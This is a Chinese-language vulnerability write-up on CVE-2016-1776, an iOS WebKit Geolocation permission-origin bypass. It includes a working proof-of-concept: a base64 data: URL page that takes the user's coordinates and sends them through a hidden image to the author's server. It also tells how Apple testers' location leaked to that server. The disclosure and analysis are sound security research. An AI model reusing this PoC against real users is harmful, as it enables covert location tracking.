Author:[email protected]
Geolocation API被用來獲取用戶主機設備的地理位置,并且它有一套完整的保護用戶隱私的機制。但CVE-2016-1776這個漏洞,繞過了Geolocation認證源的安全機制,并有可能導致用戶隱私泄漏。本文在分析CVE-2016-1779漏洞成因的基礎上探討了Geolocation隱私機制,其中穿插的獲取蘋果公司的地理位置的“故事”,對用戶隱私更是一個警醒。
在IOS中Geolocation認證是由UIWebView來做處理,攻擊者可以繞過同源策略使認證框在任意域彈出,并且當用戶點擊允許后可獲取到用戶的地理位置。在IOS平臺中,Safari和Chrome都受到這個漏洞的影響。
受影響產品:WebKit in Apple iOS < 9.3 and Safari < 9.1,Chrome
漏洞修復日期:2016/3/21
漏洞公告:
在W3C官方文檔描述中,可以清晰的了解到Geolocation API的安全隱私策略。其中下面這條和我們今天分析的CVE-2016-1776相關
4.1?Privacy considerations for implementers of the Geolocation API
User agents must not send location information to Web sites without the express permission of the user. User agents must acquire permission through a user interface, unless they have prearranged trust relationships with users, as described below. The user interface must include the host component of the document's URI?[URI]. Those permissions that are acquired through the user interface and that are preserved beyond the current browsing session (i.e. beyond the time when the browsing context[BROWSINGCONTEXT]?is navigated to another URL) must be revocable and user agents must respect revoked permissions.
這條安全策略明確指出:“Geolocation必須經過用戶的許可才可以使用,除非已經預先確認了信任關系。瀏覽器在使用Geolocation時會彈出一個認證框來通知用戶,并且在這個認證框的UI上必須包含此頁面的URI。”對于這條策略,當下主流瀏覽器都已經實現。
觸發Geolocation的認證框很簡單,我們只要運行下面的代碼即可,前提是之前沒有允許當前域獲取Geolocation。
#!js
<script>
function success(position) {}
navigator.geolocation.getCurrentPosition(success);
</script>
例如:http://www.test.com/geo.html。運行后,瀏覽器會在當前頁面上彈出認證對話框,對話框的UI上會顯示來源:www.test.com。
在2.2中是觸發Geolocation認證源的一個簡單流程。從這個過程中,我有了以下的想法。
于是,按照這個思路,開始了我的測試之旅。在這個過程中,發現IOS下Safari和Chrome在使用data:
來解析這段代碼時,認證源頭將為“://
”
#!bash
data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3VjY2Vzcyhwb3NpdGlvbikge30KbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihzdWNjZXNzKTsKPC9zY3JpcHQ+Cg==
safari:
chrome:
接下來,我進一步優化了POC,如下
#!js
<title>test</title>
<script>
function geo(){
window.open('http://www.google.com');
location = 'data:text/html;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ +CjxtZXRhIGNoYXJzZXQ9dXRmLTggLz4KPHRpdGxlPmdlb2xvY2F0aW9uPC90aXRsZT4KPGJvZHk+CjxzY3JpcHQ +CmZ1bmN0aW9uIHN1Y2Nlc3MocG9zaXRpb24pIHsKZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbW90ZScpLnNyYz0iaHR0cDovL3hpc2lnci5jb20vdGVzdC9nZW8v Z2V0LnBocD9nZW9sb2NhdGlvbj0iKyItLS0tLS0iK2VuY29kZVVSSUNvbXBvbmVudChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpKyIsIitlbmNvZGVVUklDb21wb25lb nQocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CiB9Cm5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oc3VjY2Vzcyk7Cjwvc2NyaXB0Pgo8aW 1nIGlkPSJyZW1vdGUiIHNyYz0iIiB3aWR0aD0wIGhlaWdodD0wPgo8L2JvZHk+CjwvaHRtbD4=';
}
</script>
<button onclick='geo()'>Click Me</button>
Base64 decode:
#!html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset=utf-8 />
<title>geolocation</title>
<body>
<script>
function success(position) {
document.getElementById('remote').src="http://xisigr.com/test/geo/get.php?geolocation="+"------"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(position.coords.longitude);
}
navigator.geolocation.getCurrentPosition(success);
</script>
<img id="remote" src="" width=0 height=0>
</body>
</html>
Safari:
Chrome:
還記得前面W3C官方文檔對Geolocation認證源的描述吧,“認證框上的URI源,必須要和當前頁面的源相同”。此時,我們已經成功的繞過了同源策略,使data:
域的Geolocation認證源在其他任意域彈出。當用戶點擊允許后,系統也并沒有檢查認證UI上的源和當前頁面源是否相同,于是地理位置就被發送到攻擊者服務器了。
當時,我是先把這個漏洞報送給了Google,但由于Geolocation的認證100%是由IOS UIWebView來控制,所以Google對IOS平臺下Chrome出現的這個問題也沒有太好的解決方法。之后,我把這個漏洞提交給了APPLE。APPLE于今年3月21日在IOS 9.3版本中修復了這個漏洞。
在2016/1/6,我的服務器上收到了一些地理位置回傳信息。因為在我提交的POC中明確的指出,使用自己的服務器搭建了一個漏洞驗證環境,如果觸發,數據則會傳到我的服務器上。
在查閱后發現,37.332578830316436,-122.03068509201906,顯示的正是APPLE的美國總部地址。
從獲取到的返回數據可以發現,蘋果研究人員分別在2016/1/6、2016/1/7、2016/1/8、2016/1/10、2016/1/20、2016/1/22、2016/1/28這7個時間段觸發了POC,而且地址是相同的,都是在美國蘋果總部。可能當時驗證的蘋果研究人員,并沒有自己搭建漏洞驗證環境,而是直接使用了我提供的POC中的原有環境,所以導致在驗證漏洞的時候地理位置回傳到了我的服務器上。
他們應該知道到這個問題,因為在POC中明確指出數據會回傳到這個地址xisigr.com/test/geo/info.txt。但是,他們還是義無反顧的觸發了7次漏洞,是疏忽大意還是并不在意蘋果總部的地理位置被泄漏出去,因為這個地址在網上都可以任意查到。但就算是這樣,我還是很驚訝,蘋果測試人員的地理位置和他們的作息時間就這樣被獲取到了。
這當然不僅僅是一個故事,只是想提醒大家,在真實復雜的網絡攻擊中,蛛絲馬跡的信息有時會成為“千里之堤毀于蟻穴”的突破口。不要讓類似于地理位置這樣重要的隱私信息變得如此廉價。
Geolocation API被主流瀏覽器支持,已經有些年頭,Geolocation API(getCurrentPosition()、watchPosition())一直支持可以在HTTP協議中使用。但隨著互聯網隱私安全越來越被重視,且還趕上了各大瀏覽器巨頭們呼吁全網HTTPS的這樣一個大背景,Geolocation API被提到了一個非安全源HTTPS中不能使用的高度。終于Google最先做出了表率,在2016年4月13日Chrome 50升級更新后,Chrome中不再支持非安全源HTTP下使用Geolocation API。
Geolocation上的瀏覽器插件有很多,他們在使用“Geolocation”時對權限并沒有考慮的那么周全,導致有可能泄漏用戶的隱私。
在Firefox瀏覽器中,有一款地理定位的插件Geolocater,在最新版Firefox安裝上后,會導致Geolocation認證源失效,也就是源變成了空。這是很可怕的事情,攻擊者利用后,可以欺騙用戶點擊地理位置認證確認,進而獲取到用戶的地理位置。
Geolocater地址:https://addons.mozilla.org/en-us/firefox/addon/geolocater/
我們來看下當認證源為空時的一個攻擊場景:
假設www.test.com很安全,沒有任何安全風險。且頁面中存在這樣的代碼
#!html
----www.test.com----
<iframe src="http://id.info.com">
<script src=”http://cdn.info.com”>
........
---------------------------
如果攻擊者在info.com上發現了XSS,并且注入Geolocation API。那么當用戶訪問www.test.com的時候,會彈出Geolocation認證對話框,因為UI中沒有源的提示,用戶以為是test.com域發出的請求,進而點擊允許獲取地理位置。這時,攻擊者就獲取到了用戶的地理位置。
在Chrome下有一款叫“manual-geolocation”的插件。在我看來它就是Geolocation安全策略的終結者。當用戶安裝這個插件后,所有網站在使用Geolocation時將不再需要用戶確認,而且在Chrome 50中可以在非安全源HTTP下使用。當這個插件開啟時,對用戶來說就是一個噩夢開始!
manual-geolocation插件地址:https://chrome.google.com/webstore/detail/manual-geolocation/jpiefjlgcjmciajdcinaejedejjfjgki